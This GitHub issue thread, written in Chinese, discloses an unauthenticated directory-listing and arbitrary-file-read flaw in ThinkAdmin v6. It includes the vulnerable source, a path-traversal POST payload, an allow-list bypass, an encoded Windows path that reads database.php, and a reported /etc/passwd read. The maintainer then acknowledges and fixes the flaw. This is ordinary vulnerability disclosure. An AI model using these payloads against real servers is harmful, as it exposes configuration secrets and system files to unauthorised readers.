Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

ThinkAdmin v6 未授权列目录/任意文件读取 #244

Closed
Hzllaga opened this issue Aug 27, 2020 · 6 comments
Closed

ThinkAdmin v6 未授权列目录/任意文件读取 #244

Hzllaga opened this issue Aug 27, 2020 · 6 comments
Labels

Comments

@Hzllaga
Copy link

Hzllaga commented Aug 27, 2020

ThinkAdmin v6 列目录/任意文件读取

app/admin/controller/api/Update.php存在3个function,都是不用登录认证就可以使用的,引用列表如下:

namespace app\admin\controller\api;

use think\admin\Controller;
use think\admin\service\InstallService;
use think\admin\service\ModuleService;

version()可以获取到当前版本:2020.08.03.01,≤这个版本的都有可能存在漏洞

URL:http://think.admin/ThinkAdmin/public/admin.html?s=admin/api.Update/version

列目录

node()

/**
* 读取文件列表
*/
public function node()
{
    $this->success('获取文件列表成功!', InstallService::instance()->getList(
        json_decode($this->request->post('rules', '[]', ''), true),
        json_decode($this->request->post('ignore', '[]', ''), true)
    ));
}

直接把POST的rulesignore参数传给InstallService::instance()->getList(),根据上面的use引用可以知道文件路径在vendor/zoujingli/think-library/src/service/InstallService.php

/**
 * 获取文件信息列表
 * @param array $rules 文件规则
 * @param array $ignore 忽略规则
 * @param array $data 扫描结果列表
 * @return array
 */
public function getList(array $rules, array $ignore = [], array $data = []): array
{
    // 扫描规则文件
    foreach ($rules as $key => $rule) {
        $name = strtr(trim($rule, '\\/'), '\\', '/');
        $data = array_merge($data, $this->_scanList($this->root . $name));
    }
    // 清除忽略文件
    foreach ($data as $key => $item) foreach ($ignore as $ign) {
        if (stripos($item['name'], $ign) === 0) unset($data[$key]);
    }
    // 返回文件数据
    return ['rules' => $rules, 'ignore' => $ignore, 'list' => $data];
}

$ignore可以不用关注,他会透过_scanList()去遍历$rules数组,调用scanDirectory()去递归遍历目录下的文件,最后在透过_getInfo()去获取文件名与哈希,由下面代码可以知道程序没有任何验证,攻击者可以在未授权的情况下读取服务器的文件列表。

/**
 * 获取目录文件列表
 * @param string $path 待扫描目录
 * @param array $data 扫描结果
 * @return array
 */
private function _scanList($path, $data = []): array
{
    foreach (NodeService::instance()->scanDirectory($path, [], null) as $file) {
        $data[] = $this->_getInfo(strtr($file, '\\', '/'));
    }
    return $data;
}
/**
 * 获取所有PHP文件列表
 * @param string $path 扫描目录
 * @param array $data 额外数据
 * @param string $ext 文件后缀
 * @return array
 */
public function scanDirectory($path, $data = [], $ext = 'php')
{
    if (file_exists($path)) if (is_file($path)) $data[] = $path;
    elseif (is_dir($path)) foreach (scandir($path) as $item) if ($item[0] !== '.') {
        $realpath = rtrim($path, '\\/') . DIRECTORY_SEPARATOR . $item;
        if (is_readable($realpath)) if (is_dir($realpath)) {
            $data = $this->scanDirectory($realpath, $data, $ext);
        } elseif (is_file($realpath) && (is_null($ext) || pathinfo($realpath, 4) === $ext)) {
            $data[] = strtr($realpath, '\\', '/');
        }
    }
    return $data;
}
/**
 * 获取指定文件信息
 * @param string $path 文件路径
 * @return array
 */
private function _getInfo($path): array
{
    return [
        'name' => str_replace($this->root, '', $path),
        'hash' => md5(preg_replace('/\s+/', '', file_get_contents($path))),
    ];
}

读取网站根目录Payload: http://think.admin/ThinkAdmin/public/admin.html?s=admin/api.Update/node

POST:

rules=["/"]

也可以使用../来进行目录穿越

rules=["../../../"]

演示站:

圖片

任意文件读取

get()

/**
 * 读取文件内容
 */
public function get()
{
    $filename = decode(input('encode', '0'));
    if (!ModuleService::instance()->checkAllowDownload($filename)) {
        $this->error('下载的文件不在认证规则中!');
    }
    if (file_exists($realname = $this->app->getRootPath() . $filename)) {
        $this->success('读取文件内容成功!', [
            'content' => base64_encode(file_get_contents($realname)),
        ]);
    } else {
        $this->error('读取文件内容失败!');
    }
}

首先从GET读取encode参数并使用decode()解码:

/**
 * 解密 UTF8 字符串
 * @param string $content
 * @return string
 */
function decode($content)
{
    $chars = '';
    foreach (str_split($content, 2) as $char) {
        $chars .= chr(intval(base_convert($char, 36, 10)));
    }
    return iconv('GBK//TRANSLIT', 'UTF-8', $chars);
}

解密UTF8字符串的,刚好上面有个加密UTF8字符串的encode(),攻击时直接调用那个就可以了:

/**
 * 加密 UTF8 字符串
 * @param string $content
 * @return string
 */
function encode($content)
{
    [$chars, $length] = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))];
    for ($i = 0; $i < $length; $i++) $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0);
    return $chars;
}

跟进ModuleService::instance()->checkAllowDownload(),文件路径vendor/zoujingli/think-library/src/service/ModuleService.php

/**
 * 检查文件是否可下载
 * @param string $name 文件名称
 * @return boolean
 */
public function checkAllowDownload($name): bool
{
    // 禁止下载数据库配置文件
    if (stripos($name, 'database.php') !== false) {
        return false;
    }
    // 检查允许下载的文件规则
    foreach ($this->getAllowDownloadRule() as $rule) {
        if (stripos($name, $rule) !== false) return true;
    }
    // 不在允许下载的文件规则
    return false;
}

首先$name不能够是database.php,接着跟进getAllowDownloadRule()

/**
 * 获取允许下载的规则
 * @return array
 */
public function getAllowDownloadRule(): array
{
    $data = $this->app->cache->get('moduleAllowRule', []);
    if (is_array($data) && count($data) > 0) return $data;
    $data = ['config', 'public/static', 'public/router.php', 'public/index.php'];
    foreach (array_keys($this->getModules()) as $name) $data[] = "app/{$name}";
    $this->app->cache->set('moduleAllowRule', $data, 30);
    return $data;
}

有一个允许的列表:

config
public/static
public/router.php
public/index.php
app/admin
app/wechat

也就是说$name必须要不是database.php且要在允许列表内的文件才能够被读取,先绕过安全列表的限制,比如读取根目录的1.txt,只需要传入:

public/static/../../1.txt

database.php的限制在Linux下应该是没办法绕过的,但是在Windows下可以透过"来替换.,也就是传入:

public/static/../../config/database"php

对应encode()后的结果为:

34392q302x2r1b37382p382x2r1b1a1a1b1a1a1b2r33322u2x2v1b2s2p382p2q2p372t0y342w34

Windows读取database.php

圖片

演示站读取/etc/passwd

圖片

v5连允许列表都没有,可以直接读任意文件。

@zoujingli
Copy link
Owner

感谢反馈,这个问题会立即处理,之前也有考虑,还没有加上验

@zoujingli zoujingli added the bug label Sep 4, 2020
@zoujingli
Copy link
Owner

image

@zoujingli
Copy link
Owner

临时方案

zoujingli added a commit that referenced this issue Sep 4, 2020
@zoujingli
Copy link
Owner

问题已经完成初次修复,后面还会继续优化。

@zoujingli
Copy link
Owner

漏洞修复说明:https://www.oschina.net/news/120433

@leewei233
Copy link

leewei233 commented Jun 13, 2022 via email

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

4 participants
@zoujingli @leewei233 @Hzllaga and others